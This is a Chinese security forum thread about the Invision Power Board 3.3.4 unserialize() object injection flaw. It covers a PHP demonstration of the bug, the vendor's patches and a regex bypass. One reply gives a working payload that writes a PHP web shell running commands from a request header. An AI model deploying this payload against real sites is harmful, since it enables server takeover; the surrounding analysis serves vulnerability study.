Invision Power Board <= 3.3.4 “unserialize()”

  • A+
所属分类:WooYun-Zone

  1. 1#

    solihat (xxooooxx) | 2012-11-03 19:27

    need short_open_tag On

  2. 2#

    horseluke (微碌) | 2012-11-03 23:22

    用unserialize的方式来改写类的公有属性,以此引诱__destruct()、__construct()等魔法方法运行时改变运行逻辑。这个技巧,极其猥琐…
    好在平常只用base64_decode($str)+parse_str($str, $arr)组合…..

  3. 3#

    Matt | 2012-11-03 23:41

    mark

  4. 4#

    xsser | 2012-11-03 23:41

    @horseluke 亲,给个分析来?

  5. 5#
    感谢(3)

    horseluke (微碌) | 2012-11-04 01:22

    @xsser 你要的漏洞原理代码(请使用命令行执行查看结果)

    index_harm.php
    <?php

    /**
      * 恶意修改one_class内的公有属性代码
      * @version $Id$
      */
    class one_class{
      
      public $version = '999.0';
      
      public $debug = true;
      
      public function method_2(){
      }
      
    }

    echo serialize(new one_class());

    index.php

    <?php
    /**
      * Invision Power Board <= 3.3.4 "unserialize()" PHP Code Execution漏洞成因代码简化版
      * @link http://www.exploit-db.com/exploits/22398/
      * @version $Id$
      */
      

    /**
      * one_class(含有完整功能的示例类)
      */
    class one_class{

      /**
        * 随机分配的运行id
        * @var int
        */
      private $id = 0;
      
      /**
        * 版本号(PHP 5设置属性为公有访问的写法)
        * @var string
        * @access public
        */
      public $version = '1.0';
      
      /**
        * 调试模式?(PHP 4属性写法,均为公有访问)
        * @var string
        * @access public
        */  
      var $debug = false;
      
      
      /**
        * 魔术方法:创建类实例时调用
        * @return one_class
        */
      public function __construct(){
        $this->id = mt_rand(1, 100000);
        echo "[id:{$this->id}]". '__construct >>>>>> Version:'. $this->version. "\r\n";
      }
      
      /**
        * 魔术方法:unserialize()调用的方法,按照手册说法,用于“预先准备对象数据”。
        */  
      public function __wakeup(){
        echo "[id:{$this->id}]". '__wakeup >>>>>> Version:'. $this->version. "\r\n";
      }
      
      /**
        * 魔术方法:对象被销毁前所调用方法
        */    
      public function __destruct(){
        if(true === $this->debug){
          echo "[id:{$this->id}]". '__destruct >>>>>> Version:'. $this->version. ' Writing Log...'. "\r\n";
        }else{
          echo "[id:{$this->id}]". '__destruct >>>>>> Version:'. $this->version. ' Ignore Log...'. "\r\n";
        }
      }
      
    }

    echo "\r\n//////normal_class_var DEMO BEGIN.//////\r\n";
    /**
      * 正常的、不修改任何属性的类,其活动轨迹为__construct()和__destruct()
      * 所以,随机分配的运行id必为大于0的值,并且debug状态为false
      */
    $normal_class_var = new one_class();
    var_dump($normal_class_var);
    echo "\r\n//////normal_class_var DEMO FINISH...REALLY FINISH?!//////\r\n\r\n\r\n";

    /**
      * unserialize时,并不会调用__construct(),而会调用__wakeup(),这导致随机分配的运行id必等于0的值
      * $exp_serialized_data则演示了,如何通过unserialize修改公有属性,从而产生debug被打开,并在后续进行__destruct时触发漏洞。
      * $exp_serialized_data的内容获取方法请参考index_harm.php
      * @var string
      */
    $exp_serialized_data = 'O:9:"one_class":2:{s:7:"version";s:5:"999.0";s:5:"debug";b:1;}';

    echo "\r\n//////exp_serialized_data DEMO BEGIN.//////\r\n";
    $exp_serialized_data = unserialize($exp_serialized_data);
    var_dump($exp_serialized_data);
    echo "\r\n//////exp_serialized_data DEMO FINISH...REALLY FINISH?!//////\r\n\r\n\r\n";

    Invision Power Board <= 3.3.4 “unserialize()”

  6. 6#

    horseluke (微碌) | 2012-11-04 01:47

    IPB修补代码IPSLib::safeUnserialize()来源:
    http://cn2.php.net/manual/zh/function.unserialize.php#106411

    有趣的是,代码来源还附了一个09年的相似案例:Piwik Cookie Unserialize() Vulnerability
    http://www.suspekt.org/2009/12/09/advisory-032009-piwik-cookie-unserialize-vulnerability/

  7. 7#

    Joker (资深服务员) | 2012-11-04 06:48

    把php代码放在$obj['shutdown_queries']里就对short_tag_open没要求了。
    class db_driver_mysql
    {
        public $obj = array('use_debug_log' => 1, 'debug_log' => 'cache/sh.php', 'shutdown_queries' => array('<?php error_reporting(0);print(___);passthru(base64_decode($_SERVER[HTTP_CMD]));die;?>'));
    }

  8. 8#

    GaRY | 2012-11-05 10:38

    @horseluke very nice

  9. 9#

    神刀 (www.shellsec.com_小明同学) | 2012-11-05 13:00

    @horseluke very nice

  10. 10#

    horseluke (微碌) | 2012-11-05 23:57

    手工查了几个热门国内程序,发现大家基本不用魔术方法的,所以利用不起来……
    侧面说明,高级的oop用法普及率并不高……

  11. 11#

    GaRY | 2012-11-06 10:23

    http://adminextra.com/threads/ip-board-3-1-x-3-2-x-and-3-3-x-hacked.6125/

    ipb官方提供的补丁:
    else if ( ! preg_match('/(^|;|{|})O:[0-9]+:"/', $serialized ) )
                {
                    // in case we did have a string with O: in it,
                    // but it was not a true serialized object
                    return @unserialize( $serialized );
                }

    不过被se神人喷了个狗血淋头:

    The regular expression '/(^|;|{|})O:[0-9]+:"/' is easily bypassed because of a bunch of unserialize() parser quirks.
    O:+17: is just one of many :P

  12. 12#

    xsser | 2012-11-06 10:38

    @horseluke 是啊,你看这种技术落后害死人啊

  13. 13#

    xsser | 2012-11-06 10:39

    @GaRY 你来只解决方案啊 领主大人

  14. 14#

    GaRY | 2012-11-06 10:54

    @xsser 我只是告诉大家这个漏洞就算修补了还继续有玩头:P
    修补什么因为不了解ipb用serialize是不是为了他什么特性,所以我也不能乱说。

    顺带我对那个”a bunch of unserialize() parser quirks.”很有兴趣,有人有研究没

  15. 15#

    horseluke (微碌) | 2012-11-06 12:10

    @GaRY php中使用serialize的原因很简单:只有它才可以精确地以相对安全的以字符串形式保存php变量(memcache等缓存方案默认也是基于serialize来做的);其它方案中,json、urlstring等方式都会存在精度和数据丢失问题,var_export+eval危害什么的你懂的。
    如果源头控制unserialize,不允许object形式,应该会好一些,但这会使得某些全oop程序陷入麻烦中。

    话说,我也很想知道这些quirks,而且现在php手册中竟然没了之前我提过的内容,估计是被喷怕了,删掉了……

    PS:就这个漏洞而言,主要是ipb db_driver_mysql的父类(忘了是哪个了)有个公有属性$obj,在__destruct()中部分逻辑会依据公有属性$obj控制一些日志写入。

  16. 16#

    horseluke (微碌) | 2012-11-07 15:01

    昨天IPB重新发补丁,彻底将serialize/unserialize改成json_encode/json_decode:
    Invision Power Board <= 3.3.4 “unserialize()”

  17. 17#

    softbug (算了,我还是做好我自己的东西) | 2012-11-19 22:02

    国内没用,那是大智如愚